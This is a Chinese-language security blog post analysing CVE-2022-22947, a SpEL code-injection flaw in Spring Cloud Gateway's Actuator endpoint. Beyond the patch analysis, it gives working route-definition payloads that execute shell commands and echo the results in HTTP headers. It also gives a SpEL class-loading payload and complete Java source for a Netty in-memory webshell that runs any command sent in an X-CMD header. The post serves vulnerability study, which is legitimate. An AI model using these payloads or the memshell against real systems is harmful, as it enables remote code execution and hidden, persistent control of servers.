Diggid's Blog

队内分享会浅析Spring Cloud GateWay SPEL RCE - CVE-2022-22947

字数统计: 1.8k阅读时长: 8 min
2022/03/13 Share

简单分析

diff补丁

https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published

Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.

https://github.com/spring-cloud/spring-cloud-gateway/commit/818fdb653e41cc582e662e085486311b46aa779b

image-20220313150058746

spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java

  1. 换成了安全的context类:StandardEvaluationContext -> GatewayEvaluationContext(SimpleEvaluationContext)

image-20220313150351708

  1. 文档里actuator api + 构建

image-20220313151827839

1
2
3
4
5
6
7
8
9
10
{
"id": "first_route",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/first"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
  1. 调试:
1
2
3
4
5
6
7
8
9
getValue:57, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
apply:-1, 398468940 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$786)
onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)
  • RouteDefinitionRouteLocator#loadGatewayFilters看名字像加载一个filter集合(GatewayFilters)
  • 断点往前面打org.springframework.cloud.gateway.support.ConfigurationService.AbstractBuilder#bind

细看文档

  • Route Predicates:谓词集合,能根据设置来对请求做校验处理。相当于哪些请求能进,不符合要求的请求就不会被match到
  • Gateway Filter:针对特定route的局部过滤器,对代理服务器请求前/响应后的数据包(header、body、转发等)做处理,有优先级
  • Global Filters:全局过滤器。Netty Routing Filter默认处理客户端来的http/https请求
  • Actuator API:actuator监控指标的功能端点,可以动态处理路由
1
2
3
4
5
6
7
8
9
10
{
"id": "first_route",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/first"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}

等价于

1
2
3
4
5
6
7
8
9
10
11
spring:
cloud:
gateway:
routes:
- id: first_route
uri: https://example.org
order: 0
predicates:
- name: Path
args:
- /first

回显

出网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/ssrf/**"
}
}
],
"filters": [
{
"name": "AddRequestHeader",
"args": {
"name": "Result",
"value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream())).trim()}"
}
}
],
"uri": "http://101.132.159.30:7777",
"order": 1
}

不出网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/ssrf/**"
}
}
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value":"#{new String(T(org.springframework.util.Stre amUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}
],
"uri": "http://101.132.159.30:7777",
"order": 1
}

内存马

1
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
  1. 解决BCEL/js引擎兼容性问题

  2. 解决base64在不同版本jdk的兼容问题

  3. 可多次运行同类名字节码

  4. 解决可能导致的ClassNotFound问题

netty层

image-20220313195613471

  • channel -> channel pipeline -> handler
  • 一个channel对应一个请求,pipeline在处理请求时才动态构造(和tomcat servlet/filter/listener有一个统一的维护对象不一样),pipeline上的所有handler在这时候才初始化工作。
  • pipeline初始化组装:reactor.netty.transport.TransportConfig.TransportChannelInitializer#initChannel

image-20220313171926265

  • 但好在netty提供了一个配置类ChannelPipelineConfigurer,可以拓展handler。
  • reactor.netty.http.server.HttpServerConfig#configureHttp11Pipeline完成组装(调用addXxx方法)
    • reactor.left.httpCodec -> reactor.left.httpTrafficHandler -> reactor.right.reactiveBridge
  • reactor.netty.transport.TransportConfig.TransportChannelInitializer#config即HttpServerConfig的doOnChannelInit属性可以传入配置类ChannelPipelineConfigurer,且config这个变量的修饰符很关键,是final非static的,final意味着线程共享,所以才可以在/refresh后实现内存马的注入,且持久保存在doOnChannelInit属性中
  • 用java-object-searcher找一下这个属性在当前线程中的变量维护链,

image-20220313171302484

最后的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package top.diggid.springcloudgatewayspel.memshell;

import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;

import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Scanner;

public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
public static String doInject(){
String msg = "inject-start";
try {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);

for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
_doOnChannelInit.setAccessible(true);
_doOnChannelInit.set(config, new NettyMemshell());
msg = "inject-success";
}
}
}catch (Exception e){
msg = "inject-error";
}
return msg;
}

@Override
// Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
ChannelPipeline pipeline = channel.pipeline();
// 将内存马的handler添加到spring层handler的前面
pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
}


@Override
// Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(msg instanceof HttpRequest){
HttpRequest httpRequest = (HttpRequest)msg;
try {
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD");
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
// 返回执行结果
send(ctx, execResult, HttpResponseStatus.OK);
return;
}
}catch (Exception e){
e.printStackTrace();
}
}
ctx.fireChannelRead(msg);
}


private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}

spring

  • Spring层request请求处理组件很多,有handler/Adapter/Filter等等,常见的就是Controller型、Interceptor型、Filter型。这里就拿最简单的Controller型来弄。
  • 但gateway是基于springboot-webflux响应式的,所以和通常spring mvc注入时拿的变量不太一样,但过程是差不多的,而且也不像netty那么麻烦,这个是有相关的类或者变量直接维护组件信息的,因此我们恶意类只需要向相关类或变量注册组件信息就好,不像netty还得找一个配置类,然后再处理每个请求时才从配置类中拿出handler来组装,而且恶意类本身就是组件
  • org.springframework.web.reactive.DispatcherHandler#handle
    • HandlerMapping(request) -> Handler -> HandlerAdapter(Handler) -> Handler#xxx方法

requestMappingHandlerMapping#registerHandlerMethod方法就可以直接往HandlerMapping中注入Handler

剩下就是requestMappingHandlerMapping怎么拿,可以用之前的一样的方法,但是更简单的是可以直接从SpEL的上下文中获取,因为在执行SpEL之前有一步很关键

1
context.setBeanResolver(new BeanFactoryResolver(beanFactory));

SpEL支持注入BeanFactory到上下文中,可以使用@Xxx来引用上下文中的Bean,所以

1
doInject(@requestMappingHandlerMapping)

image-20220313193031579

思考

SpEL在spring全家桶中很多解析配置、解析属性、解析值、解析xxx的地方都有使用,因此可能有很多待发掘的组件有类似的漏洞点

参考

https://github.com/spring-cloud/spring-cloud-gateway/commit/818fdb653e41cc582e662e085486311b46aa779b

https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published

https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#spring-cloud-circuitbreaker-filter-factory

https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg

https://github.com/c0ny1/java-object-searcher

https://www.jianshu.com/p/e0b50053b5d3

https://mp.weixin.qq.com/s/w3et7TzqZ4ctyybEWQ82HQ

CATALOG
  1. 1. 简单分析
    1. 1.1. diff补丁
    2. 1.2. 细看文档
  2. 2. 回显
    1. 2.1. 出网
    2. 2.2. 不出网
  3. 3. 内存马
    1. 3.1. netty层
    2. 3.2. spring
  4. 4. 思考
  5. 5. 参考